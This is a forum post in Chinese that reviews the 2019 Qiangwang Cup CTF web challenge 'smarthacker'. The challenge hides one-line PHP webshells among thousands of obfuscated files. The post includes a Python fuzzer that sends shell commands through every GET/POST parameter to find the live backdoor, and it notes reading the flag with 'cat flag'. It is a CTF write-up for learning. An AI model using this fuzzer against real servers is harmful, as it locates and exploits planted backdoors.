学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

2万

积分

41

好友

1157

主题
发表于 2020-9-1 09:22:25 | 查看: 5710| 回复: 1
                                                                                        强网杯2019(高明的黑客&强网先锋上单)前言  这里主要是对强网杯web中高明的黑客和上单两道题进行一个复现回顾
  再次感谢大佬提供的场景复现:https://www.zhaoj.in/read-5873.html
高明的黑客  题目是先下载给出代码

强网杯qwb_2019_web_smarthacker(高明的黑客)

强网杯qwb_2019_web_smarthacker(高明的黑客)

比赛时拿到这道题一下就被打懵了
  3000多个文件,打开还是奇奇怪怪得文件内容

强网杯qwb_2019_web_smarthacker(高明的黑客)

强网杯qwb_2019_web_smarthacker(高明的黑客)

当时是真不知道,怎么做
  OK现在看了大佬的writeup才反应过来是fuzz…
  提示了是黑客,然后结合上面的代码,可以看到里面有GET,POST,exec,eval,assert…但我们不知道哪个是一句话马,所以直接脚本来一个一个的试
  把文件中GET和POST的值取出来然后一个一个试
  脚本写的真烂…(大佬的脚本1分钟搞定,我的要跑30min+…写的时候也没想多线程,写完就直接跑…跑出来后不想改了…)

强网杯qwb_2019_web_smarthacker(高明的黑客)

强网杯qwb_2019_web_smarthacker(高明的黑客)

可以看到跑出来是get方式的,直接在url上cat flag

强网杯qwb_2019_web_smarthacker(高明的黑客)

强网杯qwb_2019_web_smarthacker(高明的黑客)

可以看到flag就出来了
  辣鸡脚本也贴一下(大家引以为戒)
import os
from urllib import parse,request

get_pass = {}
post_pass = {}
path = '/Users/Desktop/ctf/qwb客/src'
url = 'http://localhost:11180/'

def append_arg(filename, line):
    if '_GET' in line: # 获取所有文件中get请求pass
        start = line.find('_GET')+6
        end = line.find("']")         
        mypass = get_pass.get(filename, [])
        mypass.append(line[start:end])
        get_pass[filename] = mypass
    if '_POST' in line: # 获取所有文件中post请求pass
        start = line.find('_POST')+7
        end = line.find("']")
        mypass = post_pass.get(filename, [])
        mypass.append(line[start:end])
        post_pass[filename] = mypass

def deal_file():
    for filename in os.listdir(path):  
        file_path = os.path.join(path, filename)
        with open(file_path) as f:
            line = f.readline()
            append_arg(filename,line)
            while line:
                append_arg(filename,line)
                line = f.readline()

def get_url():
    for key,value in get_pass.items():
        deal_url(key,value,'get')

def post_url():
    for key,value in post_pass.items():
        deal_url(key,value,'post')

def deal_url(key,value,method):
    myurl = url + key +'/'
    for i in value:
        textmod={i:"echo 'flag'"}
        if method == 'post':
            textmod = parse.urlencode(textmod).encode('utf-8')
            req = request.Request(url=myurl, data=textmod)
        else:
            textmod = parse.urlencode(textmod)
            req = request.Request(url='%s%s%s' % (myurl,'?',textmod))
        res = request.urlopen(req)
        res = res.read().decode('utf-8')
        if "flag" in res:
            if method == 'post':
                print('post:',key , i)
            else:
                print('get:',key , i)

if __name__ == "__main__":
    deal_file()
    get_url()
    post_url()
  mac自带php   /usr/bin/php -S localhost:11180 -t /Users/Desktop/ctf/qwb/src 可以通过前面的命令来开启服务(不会php的我也是第一次知道)

                                                                                                            
温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046

    发表于 2021-9-4 10:11:20

    小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

    GMT+8, 2024-4-24 15:13 , Processed in 0.173906 second(s), 48 queries .

    Powered by Discuz! X3.4

    Copyright © 2001-2021, Tencent Cloud.

    快速回复 返回顶部 返回列表